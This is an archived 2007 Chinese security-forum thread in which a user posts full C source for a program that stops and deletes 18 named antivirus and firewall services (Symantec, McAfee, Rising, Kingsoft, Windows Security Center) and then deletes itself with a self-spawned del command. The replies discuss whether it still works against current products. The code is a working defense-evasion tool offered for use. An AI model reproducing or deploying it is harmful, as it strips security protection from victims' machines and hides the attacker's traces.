邪恶八进制信息安全团队技术讨论组's Archiver

uncledo 2007-12-4 21:21

[原创]发一个关闭防火墙的小程序

信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
文章作者:uncledo

大家交流下吧!第一次写程序,比较粗糙,高手勿笑
在此先谢过asm 大哥,jozu 大哥!
会延迟很一个窗口!我已经尽量用多线程,提高了速度
可还是会闪一个窗口,高手请指教。。。。
自删除,多线程!附加一个小提示!
欢迎拍砖! 又要去忙电路的考试了..呵呵..

[language=c]
///////////会延迟很一个窗口!我已经尽量用多线程,提高了速度
//////////可还是会闪一个窗口,高手请指教。。。。

#include <windows.h>
#include <tchar.h>
#include <shlobj.h>
#include <stdio.h>
#include <process.h>/////// _begintheadex();

#pragma comment(lib, "Shell32.lib")

#define ERROR_RET 1
#define ERROR_SUC 0

#define COMSPEC TEXT("COMSPEC")
#define ARGS_PREX TEXT(" /c del ")
#define ARGS_ERR_REDIR TEXT(" >NUL")

int i;
char name[18][25]={
"RsCCenter",
"KVSrvXP",
"kavsvc",
"KPfwSvc",
"KWatchSvc",
"wscsvc",
"SNDSrvc",
"ccProxy",
"ccEvtMgr",
"ccSetMgr",
"SPBBCSvc",
"Symantec Core LC",
"navapsvc",
"NPFMntor",
"MskService",
"McTaskManager",
"McShield",
"McAfeeFramework"
};
///////////////////////////

/////////从asm大哥那儿翻译过来的!谢了先!
DWORD remove(LPVOID s)
{ SC_HANDLE service ,scm;
BOOL success;
SERVICE_STATUS status ;

///////starting connect
if((scm=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL)
  {
    /// printf("OpenSCManager Error\n");
  }

////////////////////兄弟们呀,下面的s 一定要用转化呀
service=OpenService(scm,(char*)s,SERVICE_ALL_ACCESS|DELETE);
  
if(!service)
  {
  /// printf("OpenService error!\n");
  }

success=QueryServiceStatus(service,&status);
    if (!success)
  {
    //// printf("QueryServiceStatus error!\n");
  }

if ( status.dwCurrentState!=SERVICE_STOPPED )
{  
    success=ControlService(service,SERVICE_CONTROL_STOP,&status);
    if (!success )
    {
      /// printf("failed!!\n");
    }
  
Sleep(50);
}
if( success=DeleteService(service))
  printf("remove success!\n");
else
  printf("remove failed!!\n");

  CloseServiceHandle(service);
  CloseServiceHandle(scm);

   return NULL;
}

int main(int argc, char** argv)
{
  char version[]="***************close fire wall****************\n***************[url]www.eviloctal.com[/url]**************\n***************code by uncledo****************\n***************[email]uncledo@163.com[/email] ***************\n";
  char newname[]="evilocta.txt";
  FILE *pfile=fopen(newname,"w");
  fprintf(pfile,"%s",version);
  
  //////fprintf(pfile, "%s firewall removed\n",*(char*)s);

  ///////////多线程
  HANDLE thd[18];
  DWORD tid;  
  ////为了在Visual C++ 6 IDE中使用多线程库,首先要激活“Project | Settings”属性页。
  ////然后选择“C/C++”选项卡。接着在“Category”下拉列表框中选择“Code Generation”,
  ////然后在“Use Runtime Library ”下拉列表框中选择“Multithreaded”/
  for(i=0;i<18;i++)
  {thd[i]=CreateThread(NULL,
      0,
      (LPTHREAD_START_ROUTINE)remove,//////////////////
      &name[i][25],
      0,
      &tid);

  Sleep(50);///验证线程!
  }
  fclose(pfile);

/////////////自删除代码用的是jozu 大哥的,先谢过了!!

TCHAR szModuleName[MAX_PATH] = { 0 };
TCHAR szCommand[MAX_PATH] = { 0 };
TCHAR szParams[MAX_PATH] = { 0 };

STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;


if(!GetModuleFileName(NULL, szModuleName, MAX_PATH))
return ERROR_RET;

if(!GetShortPathName(szModuleName, szModuleName, MAX_PATH))
return ERROR_RET;

if(!GetEnvironmentVariable(COMSPEC, szCommand, MAX_PATH))
return ERROR_RET;

_tcscat(szCommand, ARGS_PREX);
_tcscat(szCommand, szModuleName);
_tcscat(szCommand, ARGS_ERR_REDIR);

if(SetPriorityClass(GetCurrentProcess(),
REALTIME_PRIORITY_CLASS))
{
if(SetThreadPriority(GetCurrentThread(),
THREAD_PRIORITY_TIME_CRITICAL))
{
//
if(CreateProcess(NULL,
  szCommand,
  NULL,
  NULL,
  FALSE,
  0,
  NULL,
  NULL,
  &si,
  &pi))
{
  SetPriorityClass(pi.hProcess,
  IDLE_PRIORITY_CLASS);

  SetProcessPriorityBoost(pi.hProcess,
  TRUE);

  SHChangeNotify(SHCNE_DELETE,
  SHCNF_PATH,
  szModuleName,
  NULL);
  return TRUE;
}
}
else
{
SetPriorityClass(GetCurrentProcess(),
  NORMAL_PRIORITY_CLASS);
}
}
return ERROR_RET;
}
[/language]

uncledo 2007-12-18 15:46

现在这种方法很过时了,基本上没什么用,文章没什么技术性,
给邪八丢脸了.....!!!
想当时发的时候一时脑热,本以为冰血会删掉的...

个人在邪八学了不少知识.呵呵,很是感谢,
下次争取写一个有含量的文章!
如果可以的话,斑竹请删掉它,现在看到它我就脸红....

zjjmj 2007-12-18 16:50

还不算太过时,听说似乎能够对付金山密保。

sznicko 2007-12-19 05:07

和BAT一个意思,部分有效

泡沫秋天 2008-2-2 23:37

  对最新版的瑞星好像没有用.......

heekey 2008-2-3 20:19

回复 沙发 uncledo 的帖子

讨论一下
难道就没有大家需要改进的地方么??
那现在杀毒软件方面是怎么防护这中方法的啊

页: [1]
© 1999-2008 EvilOctal Security Team